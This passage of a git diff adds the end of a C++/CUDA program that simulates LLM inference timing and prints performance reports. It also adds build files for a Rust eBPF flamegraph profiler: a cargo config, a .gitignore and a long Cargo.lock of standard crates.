InferencePipeline with " + << Config::NUM_LAYERS << " layers" << std::endl; + + // Create transformer layers + for (size_t i = 0; i < Config::NUM_LAYERS; ++i) { + std::cout << "[Init] Creating layer " << (i + 1) << "/" + << Config::NUM_LAYERS << std::endl; + layers_.push_back(std::make_unique()); + } + + h_input_.resize(Config::BATCH_SIZE * Config::SEQ_LENGTH * Config::HIDDEN_DIM); + h_output_.resize(Config::BATCH_SIZE * Config::SEQ_LENGTH * Config::HIDDEN_DIM); + + std::cout << "[Init] Pipeline initialization complete" << std::endl; + } + + void runRequest(int request_id) { + RequestTimings timings; + auto start_time = std::chrono::high_resolution_clock::now(); + + // Select prompt + const auto& prompt = prompts_[request_id % prompts_.size()]; + + // ===== CPU COMPUTE: Tokenization ===== + auto cpu_start = std::chrono::high_resolution_clock::now(); + std::vector tokens; + tokens.reserve(Config::SEQ_LENGTH); + for (size_t i = 0; i < Config::SEQ_LENGTH && i < prompt.length(); ++i) { + tokens.push_back(static_cast(prompt[i])); + } + while (tokens.size() < Config::SEQ_LENGTH) { + tokens.push_back(0); // Padding + } + + // ===== CPU COMPUTE: Embedding lookup ===== + embedding_->embed(tokens, h_input_); + + // ===== CPU COMPUTE: Additional preprocessing (to increase CPU time) ===== + // Simulate text preprocessing, normalization, etc. + std::vector temp_buffer(Config::SEQ_LENGTH * 150); // Increased buffer + for (size_t i = 0; i < temp_buffer.size(); ++i) { + temp_buffer[i] = std::sin(static_cast(i)) * std::cos(static_cast(request_id)); + } + + // Simulate some CPU-intensive work (sorting, searching, etc.) + for (int iter = 0; iter < 12; ++iter) { // Tuned to 12 iterations for ~25% CPU + std::partial_sort(temp_buffer.begin(), temp_buffer.begin() + 1500, temp_buffer.end()); + } + + auto cpu_end = std::chrono::high_resolution_clock::now(); + timings.cpu_compute_ms = std::chrono::duration(cpu_end - cpu_start).count(); + + // ===== I/O: Transfer to GPU ===== + auto io_start = std::chrono::high_resolution_clock::now(); + d_input_.copyFromHost(h_input_); + auto io_end = std::chrono::high_resolution_clock::now(); + timings.io_time_ms += std::chrono::duration(io_end - io_start).count(); + + // ===== GPU COMPUTE: Forward pass through transformer layers ===== + auto gpu_start = std::chrono::high_resolution_clock::now(); + auto* current_input = &d_input_; + auto* current_output = &d_output_; + + for (auto& layer : layers_) { + layer->forward(*current_input, *current_output); + std::swap(current_input, current_output); + } + auto gpu_end = std::chrono::high_resolution_clock::now(); + timings.gpu_compute_ms = std::chrono::duration(gpu_end - gpu_start).count(); + + // ===== I/O: Transfer back to CPU ===== + io_start = std::chrono::high_resolution_clock::now(); + current_input->copyToHost(h_output_); + io_end = std::chrono::high_resolution_clock::now(); + timings.io_time_ms += std::chrono::duration(io_end - io_start).count(); + + // ===== I/O: Cache results (file I/O) ===== + if (request_id % 2 == 0) { + io_start = std::chrono::high_resolution_clock::now(); + cache_->writeCache("prompt_" + std::to_string(request_id % prompts_.size()), + h_output_, request_id); + io_end = std::chrono::high_resolution_clock::now(); + timings.io_time_ms += std::chrono::duration(io_end - io_start).count(); + } + + // ===== I/O: Simulate network delay ===== + io_start = std::chrono::high_resolution_clock::now(); + std::this_thread::sleep_for(std::chrono::milliseconds(10)); // Reduced from 50ms to 10ms + io_end = std::chrono::high_resolution_clock::now(); + timings.io_time_ms += std::chrono::duration(io_end - io_start).count(); + + // Track timings + request_timings_.push_back(timings); + accumulated_timings_.add(timings); + request_count_++; + + // Report every 10 requests + if (request_count_ % 10 == 0) { + reportTimings(request_count_); + } + } + + void reportTimings(int last_request_id) { + // Calculate statistics for last 10 requests + size_t start_idx = request_timings_.size() >= 10 ? request_timings_.size() - 10 : 0; + RequestTimings last_10; + + for (size_t i = start_idx; i < request_timings_.size(); ++i) { + last_10.add(request_timings_[i]); + } + + int count = request_timings_.size() - start_idx; + double avg_cpu = last_10.cpu_compute_ms / count; + double avg_gpu = last_10.gpu_compute_ms / count; + double avg_io = last_10.io_time_ms / count; + double avg_total = (avg_cpu + avg_gpu + avg_io); + + std::cout << "\n[Performance Report] Requests " << (last_request_id - count + 1) + << " - " << last_request_id << " (last " << count << " requests):" << std::endl; + std::cout << " CPU Compute: " << std::fixed << std::setprecision(2) + << avg_cpu << " ms (" << (avg_cpu / avg_total * 100) << "%)" << std::endl; + std::cout << " GPU Compute: " << avg_gpu << " ms (" + << (avg_gpu / avg_total * 100) << "%)" << std::endl; + std::cout << " I/O (+ Net): " << avg_io << " ms (" + << (avg_io / avg_total * 100) << "%)" << std::endl; + std::cout << " Total Time: " << avg_total << " ms/request" << std::endl; + } + + void printFinalReport() { + if (request_count_ == 0) return; + + std::cout << "\n=============================================================" << std::endl; + std::cout << "Final Performance Report (" << request_count_ << " total requests)" << std::endl; + std::cout << "=============================================================" << std::endl; + + double avg_cpu = accumulated_timings_.cpu_compute_ms / request_count_; + double avg_gpu = accumulated_timings_.gpu_compute_ms / request_count_; + double avg_io = accumulated_timings_.io_time_ms / request_count_; + double avg_total = (avg_cpu + avg_gpu + avg_io); + + std::cout << "Average per request:" << std::endl; + std::cout << " CPU Compute: " << std::fixed << std::setprecision(2) + << avg_cpu << " ms (" << (avg_cpu / avg_total * 100) << "%)" << std::endl; + std::cout << " GPU Compute: " << avg_gpu << " ms (" + << (avg_gpu / avg_total * 100) << "%)" << std::endl; + std::cout << " I/O (+ Net): " << avg_io << " ms (" + << (avg_io / avg_total * 100) << "%)" << std::endl; + std::cout << " Total Time: " << avg_total << " ms/request" << std::endl; + std::cout << "\nTotal time breakdown:" << std::endl; + std::cout << " CPU Compute: " << accumulated_timings_.cpu_compute_ms << " ms" << std::endl; + std::cout << " GPU Compute: " << accumulated_timings_.gpu_compute_ms << " ms" << std::endl; + std::cout << " I/O (+ Net): " << accumulated_timings_.io_time_ms << " ms" << std::endl; + std::cout << "=============================================================" << std::endl; + } +}; + +// ============================================================================= +// Global cleanup handler +// ============================================================================= +std::unique_ptr g_pipeline; +volatile sig_atomic_t g_interrupted = 0; + +void signalHandler(int signum) { + std::cout << "\n[Signal] Received signal " << signum << ", cleaning up..." << std::endl; + g_interrupted = 1; + g_pipeline.reset(); + std::cout << "[Cleanup] Complete. Exiting." << std::endl; + exit(signum); +} + +// ============================================================================= +// Main +// ============================================================================= +int main() { + try { + std::cout << "=============================================================" << std::endl; + std::cout << "Modern C++ LLM Inference Simulator" << std::endl; + std::cout << "=============================================================" << std::endl; + std::cout << "Configuration:" << std::endl; + std::cout << " - Batch Size: " << Config::BATCH_SIZE << std::endl; + std::cout << " - Sequence Length: " << Config::SEQ_LENGTH << std::endl; + std::cout << " - Hidden Dimension: " << Config::HIDDEN_DIM << std::endl; + std::cout << " - Number of Layers: " << Config::NUM_LAYERS << std::endl; + std::cout << " - Duration: " << Config::DURATION_SECONDS << " seconds" << std::endl; + std::cout << "=============================================================" << std::endl; + + // Initialize CUDA + CUDA_CHECK(cudaSetDevice(0)); + std::cout << "[Init] CUDA device initialized" << std::endl; + + // Setup signal handlers + signal(SIGINT, signalHandler); + signal(SIGTERM, signalHandler); + + // Create pipeline + g_pipeline = std::make_unique(); + + // Run request processing loop + auto start = std::chrono::steady_clock::now(); + int request_id = 0; + + std::cout << "\n[Starting] Processing requests for " << Config::DURATION_SECONDS + << " seconds..." << std::endl; + + while (!g_interrupted) { + auto now = std::chrono::steady_clock::now(); + auto elapsed = std::chrono::duration_cast(now - start).count(); + + if (elapsed >= Config::DURATION_SECONDS) { + break; + } + + g_pipeline->runRequest(request_id); + request_id++; + } + + std::cout << "\n=============================================================" << std::endl; + std::cout << "Completed " << request_id << " requests in " + << Config::DURATION_SECONDS << " seconds" << std::endl; + std::cout << "Average throughput: " + << (request_id / static_cast(Config::DURATION_SECONDS)) + << " requests/second" << std::endl; + std::cout << "=============================================================" << std::endl; + + // Print final performance report + g_pipeline->printFinalReport(); + + g_pipeline.reset(); + + return 0; + + } catch (const std::exception& e) { + std::cerr << "[ERROR] " << e.what() << std::endl; + return 1; + } +} diff --git a/src/xpu/flamegraph/profiler/.cargo/config.toml b/src/xpu/flamegraph/profiler/.cargo/config.toml new file mode 100644 index 00000000..eb9fed29 --- /dev/null +++ b/src/xpu/flamegraph/profiler/.cargo/config.toml @@ -0,0 +1,2 @@ +[build] +rustflags = ["-C", "linker=gcc"] diff --git a/src/xpu/flamegraph/profiler/.gitignore b/src/xpu/flamegraph/profiler/.gitignore new file mode 100644 index 00000000..3a1b4489 --- /dev/null +++ b/src/xpu/flamegraph/profiler/.gitignore @@ -0,0 +1,2 @@ +/src/bpf/.output +/target diff --git a/src/xpu/flamegraph/profiler/Cargo.lock b/src/xpu/flamegraph/profiler/Cargo.lock new file mode 100644 index 00000000..5135b871 --- /dev/null +++ b/src/xpu/flamegraph/profiler/Cargo.lock @@ -0,0 +1,909 @@ +# This file is automatically @generated by Cargo. +# It is not intended for manual editing. +version = 3 + +[[package]] +name = "adler2" +version = "2.0.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "320119579fcad9c21884f5c4861d16174d0e06250625266f50fe6898340abefa" + +[[package]] +name = "aho-corasick" +version = "1.1.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "8e60d3430d3a69478ad0993f19238d2df97c507009a52b3c10addcd7f6bcb916" +dependencies = [ + "memchr", +] + +[[package]] +name = "anstream" +version = "0.6.20" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "3ae563653d1938f79b1ab1b5e668c87c76a9930414574a6583a7b7e11a8e6192" +dependencies = [ + "anstyle", + "anstyle-parse", + "anstyle-query", + "anstyle-wincon", + "colorchoice", + "is_terminal_polyfill", + "utf8parse", +] + +[[package]] +name = "anstyle" +version = "1.0.11" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "862ed96ca487e809f1c8e5a8447f6ee2cf102f846893800b20cebdf541fc6bbd" + +[[package]] +name = "anstyle-parse" +version = "0.2.7" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "4e7644824f0aa2c7b9384579234ef10eb7efb6a0deb83f9630a49594dd9c15c2" +dependencies = [ + "utf8parse", +] + +[[package]] +name = "anstyle-query" +version = "1.1.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "9e231f6134f61b71076a3eab506c379d4f36122f2af15a9ff04415ea4c3339e2" +dependencies = [ + "windows-sys", +] + +[[package]] +name = "anstyle-wincon" +version = "3.0.10" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "3e0633414522a32ffaac8ac6cc8f748e090c5717661fddeea04219e2344f5f2a" +dependencies = [ + "anstyle", + "once_cell_polyfill", + "windows-sys", +] + +[[package]] +name = "anyhow" +version = "1.0.99" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b0674a1ddeecb70197781e945de4b3b8ffb61fa939a5597bcf48503737663100" + +[[package]] +name = "bitflags" +version = "2.9.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "34efbcccd345379ca2868b2b2c9d3782e9cc58ba87bc7d79d5b53d9c9ae6f25d" + +[[package]] +name = "blazesym" +version = "0.2.0-rc.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "29a810b7e5f883ad3c711208237841f051061bf59b6ee698ac4dc1fe12a3a5db" +dependencies = [ + "cpp_demangle", + "gimli", + "libc", + "memmap2 0.9.8", + "miniz_oxide", + "rustc-demangle", + "tracing", +] + +[[package]] +name = "camino" +version = "1.1.11" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "5d07aa9a93b00c76f71bc35d598bed923f6d4f3a9ca5c24b7737ae1a292841c0" +dependencies = [ + "serde", +] + +[[package]] +name = "cargo-platform" +version = "0.1.9" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e35af189006b9c0f00a064685c727031e3ed2d8020f7ba284d78cc2671bd36ea" +dependencies = [ + "serde", +] + +[[package]] +name = "cargo_metadata" +version = "0.15.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "eee4243f1f26fc7a42710e7439c149e2b10b05472f88090acce52632f231a73a" +dependencies = [ + "camino", + "cargo-platform", + "semver", + "serde", + "serde_json", + "thiserror", +] + +[[package]] +name = "cc" +version = "1.2.34" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "42bc4aea80032b7bf409b0bc7ccad88853858911b7713a8062fdc0623867bedc" +dependencies = [ + "shlex", +] + +[[package]] +name = "cfg-if" +version = "1.0.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "2fd1289c04a9ea8cb22300a459a72a385d7c73d3259e2ed7dcb2af674838cfa9" + +[[package]] +name = "cfg_aliases" +version = "0.2.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "613afe47fcd5fac7ccf1db93babcb082c5994d996f20b8b159f2ad1658eb5724" + +[[package]] +name = "clap" +version = "4.5.46" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "2c5e4fcf9c21d2e544ca1ee9d8552de13019a42aa7dbf32747fa7aaf1df76e57" +dependencies = [ + "clap_builder", + "clap_derive", +] + +[[package]] +name = "clap_builder" +version = "4.5.46" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "fecb53a0e6fcfb055f686001bc2e2592fa527efaf38dbe81a6a9563562e57d41" +dependencies = [ + "anstream", + "anstyle", + "clap_lex", + "strsim", +] + +[[package]] +name = "clap_derive" +version = "4.5.45" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "14cb31bb0a7d536caef2639baa7fad459e15c3144efefa6dbd1c84562c4739f6" +dependencies = [ + "heck", + "proc-macro2", + "quote", + "syn", +] + +[[package]] +name = "clap_lex" +version = "0.7.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b94f61472cee1439c0b966b47e3aca9ae07e45d070759512cd390ea2bebc6675" + +[[package]] +name = "colorchoice" +version = "1.0.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b05b61dc5112cbb17e4b6cd61790d9845d13888356391624cbe7e41efeac1e75" + +[[package]] +name = "cpp_demangle" +version = "0.4.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "96e58d342ad113c2b878f16d5d034c03be492ae460cdbc02b7f0f2284d310c7d" +dependencies = [ + "cfg-if", +] + +[[package]] +name = "equivalent" +version = "1.0.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "877a4ace8713b0bcf2a4e7eec82529c029f1d0619886d18145fea96c3ffe5c0f" + +[[package]] +name = "errno" +version = "0.3.13" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "778e2ac28f6c47af28e4907f13ffd1e1ddbd400980a9abd7c8df189bf578a5ad" +dependencies = [ + "libc", + "windows-sys", +] + +[[package]] +name = "fallible-iterator" +version = "0.3.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "2acce4a10f12dc2fb14a218589d4f1f62ef011b2d0cc4b3cb1bba8e94da14649" + +[[package]] +name = "fastrand" +version = "2.3.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "37909eebbb50d72f9059c3b6d82c0463f2ff062c9e95845c43a6c9c0355411be" + +[[package]] +name = "getrandom" +version = "0.3.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "26145e563e54f2cadc477553f1ec5ee650b00862f0a58bcd12cbdc5f0ea2d2f4" +dependencies = [ + "cfg-if", + "libc", + "r-efi", + "wasi", +] + +[[package]] +name = "gimli" +version = "0.32.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "cc6298e594375a7fead9efd5568f0a46e6a154fb6a9bdcbe3c06946ffd81a5f6" +dependencies = [ + "fallible-iterator", + "indexmap", + "stable_deref_trait", +] + +[[package]] +name = "hashbrown" +version = "0.15.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "9229cfe53dfd69f0609a49f65461bd93001ea1ef889cd5529dd176593f5338a1" + +[[package]] +name = "heck" +version = "0.5.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "2304e00983f87ffb38b55b444b5e3b60a884b5d30c0fca7d82fe33449bbe55ea" + +[[package]] +name = "indexmap" +version = "2.11.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f2481980430f9f78649238835720ddccc57e52df14ffce1c6f37391d61b563e9" +dependencies = [ + "equivalent", + "hashbrown", +] + +[[package]] +name = "is_terminal_polyfill" +version = "1.70.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "7943c866cc5cd64cbc25b2e01621d07fa8eb2a1a23160ee81ce38704e97b8ecf" + +[[package]] +name = "itoa" +version = "1.0.15" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "4a5f13b858c8d314ee3e8f639011f7ccefe71f97f96e50151fb991f267928e2c" + +[[package]] +name = "lazy_static" +version = "1.5.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "bbd2bcb4c963f2ddae06a2efc7e9f3591312473c50c6685e1f298068316e66fe" + +[[package]] +name = "libbpf-cargo" +version = "0.24.8" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "704727a07f185a76c58faa7b8ed08fba3194661c212183aea1174fe2970ee185" +dependencies = [ + "anyhow", + "cargo_metadata", + "clap", + "libbpf-rs", + "memmap2 0.5.10", + "regex", + "semver", + "serde", + "serde_json", + "tempfile", +] + +[[package]] +name = "libbpf-rs" +version = "0.24.8" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "93edd9cd673087fa7518fd63ad6c87be2cd9b4e35034b1873f3e3258c018275b" +dependencies = [ + "bitflags", + "libbpf-sys", + "libc", + "vsprintf", +] + +[[package]] +name = "libbpf-sys" +version = "1.6.1+v1.6.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e351855cbd724ac341b2a1c163568808e72acd930c491a921331c2e5347390d3" +dependencies = [ + "cc", + "nix 0.30.1", + "pkg-config", +] + +[[package]] +name = "libc" +version = "0.2.175" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "6a82ae493e598baaea5209805c49bbf2ea7de956d50d7da0da1164f9c6d28543" + +[[package]] +name = "linux-raw-sys" +version = "0.9.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "cd945864f07fe9f5371a27ad7b52a172b4b499999f1d97574c9fa68373937e12" + +[[package]] +name = "log" +version = "0.4.27" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "13dc2df351e3202783a1fe0d44375f7295ffb4049267b0f3018346dc122a1d94" + +[[package]] +name = "matchers" +version = "0.1.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "8263075bb86c5a1b1427b5ae862e8889656f126e9f77c484496e8b47cf5c5558" +dependencies = [ + "regex-automata 0.1.10", +] + +[[package]] +name = "memchr" +version = "2.7.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "32a282da65faaf38286cf3be983213fcf1d2e2a58700e808f83f4ea9a4804bc0" + +[[package]] +name = "memmap2" +version = "0.5.10" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "83faa42c0a078c393f6b29d5db232d8be22776a891f8f56e5284faee4a20b327" +dependencies = [ + "libc", +] + +[[package]] +name = "memmap2" +version = "0.9.8" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "843a98750cd611cc2965a8213b53b43e715f13c37a9e096c6408e69990961db7" +dependencies = [ + "libc", +] + +[[package]] +name = "miniz_oxide" +version = "0.8.9" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "1fa76a2c86f704bdb222d66965fb3d63269ce38518b83cb0575fca855ebb6316" +dependencies = [ + "adler2", + "simd-adler32", +] + +[[package]] +name = "nix" +version = "0.29.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "71e2746dc3a24dd78b3cfcb7be93368c6de9963d30f43a6a73998a9cf4b17b46" +dependencies = [ + "bitflags", + "cfg-if", + "cfg_aliases", + "libc", +] + +[[package]] +name = "nix" +version = "0.30.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "74523f3a35e05aba87a1d978330aef40f67b0304ac79c1c00b294c9830543db6" +dependencies = [ + "bitflags", + "cfg-if", + "cfg_aliases", + "libc", +] + +[[package]] +name = "nu-ansi-term" +version = "0.46.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "77a8165726e8236064dbb45459242600304b42a5ea24ee2948e18e023bf7ba84" +dependencies = [ + "overload", + "winapi", +] + +[[package]] +name = "once_cell" +version = "1.21.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "42f5e15c9953c5e4ccceeb2e7382a716482c34515315f7b03532b8b4e8393d2d" + +[[package]] +name = "once_cell_polyfill" +version = "1.70.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "a4895175b425cb1f87721b59f0f286c2092bd4af812243672510e1ac53e2e0ad" + +[[package]] +name = "overload" +version = "0.1.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b15813163c1d831bf4a13c3610c05c0d03b39feb07f7e09fa234dac9b15aaf39" + +[[package]] +name = "pin-project-lite" +version = "0.2.16" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "3b3cff922bd51709b605d9ead9aa71031d81447142d828eb4a6eba76fe619f9b" + +[[package]] +name = "pkg-config" +version = "0.3.32" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "7edddbd0b52d732b21ad9a5fab5c704c14cd949e5e9a1ec5929a24fded1b904c" + +[[package]] +name = "proc-macro2" +version = "1.0.101" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "89ae43fd86e4158d6db51ad8e2b80f313af9cc74f5c0e03ccb87de09998732de" +dependencies = [ + "unicode-ident", +] + +[[package]] +name = "profile" +version = "0.1.0" +dependencies = [ + "blazesym", + "clap", + "libbpf-cargo", + "libbpf-rs", + "libc", + "nix 0.29.0", + "tracing", + "tracing-subscriber", +] + +[[package]] +name = "quote" +version = "1.0.40" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "1885c039570dc00dcb4ff087a89e185fd56bae234ddc7f056a945bf36467248d" +dependencies = [ + "proc-macro2", +] + +[[package]] +name = "r-efi" +version = "5.3.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "69cdb34c158ceb288df11e18b4bd39de994f6657d83847bdffdbd7f346754b0f" + +[[package]] +name = "regex" +version = "1.11.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "23d7fd106d8c02486a8d64e778353d1cffe08ce79ac2e82f540c86d0facf6912" +dependencies = [ + "aho-corasick", + "memchr", + "regex-automata 0.4.10", + "regex-syntax 0.8.6", +] + +[[package]] +name = "regex-automata" +version = "0.1.10" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "6c230d73fb8d8c1b9c0b3135c5142a8acee3a0558fb8db5cf1cb65f8d7862132" +dependencies = [ + "regex-syntax 0.6.29", +] + +[[package]] +name = "regex-automata" +version = "0.4.10" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "6b9458fa0bfeeac22b5ca447c63aaf45f28439a709ccd244698632f9aa6394d6" +dependencies = [ + "aho-corasick", + "memchr", + "regex-syntax 0.8.6", +] + +[[package]] +name = "regex-syntax" +version = "0.6.29" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f162c6dd7b008981e4d40210aca20b4bd0f9b60ca9271061b07f78537722f2e1" + +[[package]] +name = "regex-syntax" +version = "0.8.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "caf4aa5b0f434c91fe5c7f1ecb6a5ece2130b02ad2a590589dda5146df959001" + +[[package]] +name = "rustc-demangle" +version = "0.1.26" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "56f7d92ca342cea22a06f2121d944b4fd82af56988c270852495420f961d4ace" + +[[package]] +name = "rustix" +version = "1.0.8" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "11181fbabf243db407ef8df94a6ce0b2f9a733bd8be4ad02b4eda9602296cac8" +dependencies = [ + "bitflags", + "errno", + "libc", + "linux-raw-sys", + "windows-sys", +] + +[[package]] +name = "ryu" +version = "1.0.20" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "28d3b2b1366ec20994f1fd18c3c594f05c5dd4bc44d8bb0c1c632c8d6829481f" + +[[package]] +name = "semver" +version = "1.0.26" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "56e6fa9c48d24d85fb3de5ad847117517440f6beceb7798af16b4a87d616b8d0" +dependencies = [ + "serde", +] + +[[package]] +name = "serde" +version = "1.0.219" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "5f0e2c6ed6606019b4e29e69dbaba95b11854410e5347d525002456dbbb786b6" +dependencies = [ + "serde_derive", +] + +[[package]] +name = "serde_derive" +version = "1.0.219" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "5b0276cf7f2c73365f7157c8123c21cd9a50fbbd844757af28ca1f5925fc2a00" +dependencies = [ + "proc-macro2", + "quote", + "syn", +] + +[[package]] +name = "serde_json" +version = "1.0.143" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d401abef1d108fbd9cbaebc3e46611f4b1021f714a0597a71f41ee463f5f4a5a" +dependencies = [ + "itoa", + "memchr", + "ryu", + "serde", +] + +[[package]] +name = "sharded-slab" +version = "0.1.7" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f40ca3c46823713e0d4209592e8d6e826aa57e928f09752619fc696c499637f6" +dependencies = [ + "lazy_static", +] + +[[package]] +name = "shlex" +version = "1.3.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "0fda2ff0d084019ba4d7c6f371c95d8fd75ce3524c3cb8fb653a3023f6323e64" + +[[package]] +name = "simd-adler32" +version = "0.3.7" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d66dc143e6b11c1eddc06d5c423cfc97062865baf299914ab64caa38182078fe" + +[[package]] +name = "smallvec" +version = "1.15.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "67b1b7a3b5fe4f1376887184045fcf45c69e92af734b7aaddc05fb777b6fbd03" + +[[package]] +name = "stable_deref_trait" +version = "1.2.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "a8f112729512f8e442d81f95a8a7ddf2b7c6b8a1a6f509a95864142b30cab2d3" + +[[package]] +name = "strsim" +version = "0.11.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "7da8b5736845d9f2fcb837ea5d9e2628564b3b043a70948a3f0b778838c5fb4f" + +[[package]] +name = "syn" +version = "2.0.106" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ede7c438028d4436d71104916910f5bb611972c5cfd7f89b8300a8186e6fada6" +dependencies = [ + "proc-macro2", + "quote", + "unicode-ident", +] + +[[package]] +name = "tempfile" +version = "3.21.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "15b61f8f20e3a6f7e0649d825294eaf317edce30f82cf6026e7e4cb9222a7d1e" +dependencies = [ + "fastrand", + "getrandom", + "once_cell", + "rustix", + "windows-sys", +] + +[[package]] +name = "thiserror" +version = "1.0.69" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b6aaf5339b578ea85b50e080feb250a3e8ae8cfcdff9a461c9ec2904bc923f52" +dependencies = [ + "thiserror-impl", +] + +[[package]] +name = "thiserror-impl" +version = "1.0.69" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "4fee6c4efc90059e10f81e6d42c60a18f76588c3d74cb83a0b242a2b6c7504c1" +dependencies = [ + "proc-macro2", + "quote", + "syn", +] + +[[package]] +name = "thread_local" +version = "1.1.9" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f60246a4944f24f6e018aa17cdeffb7818b76356965d03b07d6a9886e8962185" +dependencies = [ + "cfg-if", +] + +[[package]] +name = "tracing" +version = "0.1.41" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "784e0ac535deb450455cbfa28a6f0df145ea1bb7ae51b821cf5e7927fdcfbdd0" +dependencies = [ + "pin-project-lite", + "tracing-attributes", + "tracing-core", +] + +[[package]] +name = "tracing-attributes" +version = "0.1.30" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "81383ab64e72a7a8b8e13130c49e3dab29def6d0c7d76a03087b3cf71c5c6903" +dependencies = [ + "proc-macro2", + "quote", + "syn", +] + +[[package]] +name = "tracing-core" +version = "0.1.34" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b9d12581f227e93f094d3af2ae690a574abb8a2b9b7a96e7cfe9647b2b617678" +dependencies = [ + "once_cell", + "valuable", +] + +[[package]] +name = "tracing-log" +version = "0.2.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ee855f1f400bd0e5c02d150ae5de3840039a3f54b025156404e34c23c03f47c3" +dependencies = [ + "log", + "once_cell", + "tracing-core", +] + +[[package]] +name = "tracing-subscriber" +version = "0.3.19" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e8189decb5ac0fa7bc8b96b7cb9b2701d60d48805aca84a238004d665fcc4008" +dependencies = [ + "matchers", + "nu-ansi-term", + "once_cell", + "regex", + "sharded-slab", + "smallvec", + "thread_local", + "tracing", + "tracing-core", + "tracing-log", +] + +[[package]] +name = "unicode-ident" +version = "1.0.18" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "5a5f39404a5da50712a4c1eecf25e90dd62b613502b7e925fd4e4d19b5c96512" + +[[package]] +name = "utf8parse" +version = "0.2.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "06abde3611657adf66d383f00b093d7faecc7fa57071cce2578660c9f1010821" + +[[package]] +name = "valuable" +version = "0.1.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ba73ea9cf16a25df0c8caa16c51acb937d5712a8429db78a3ee29d5dcacd3a65" + +[[package]] +name = 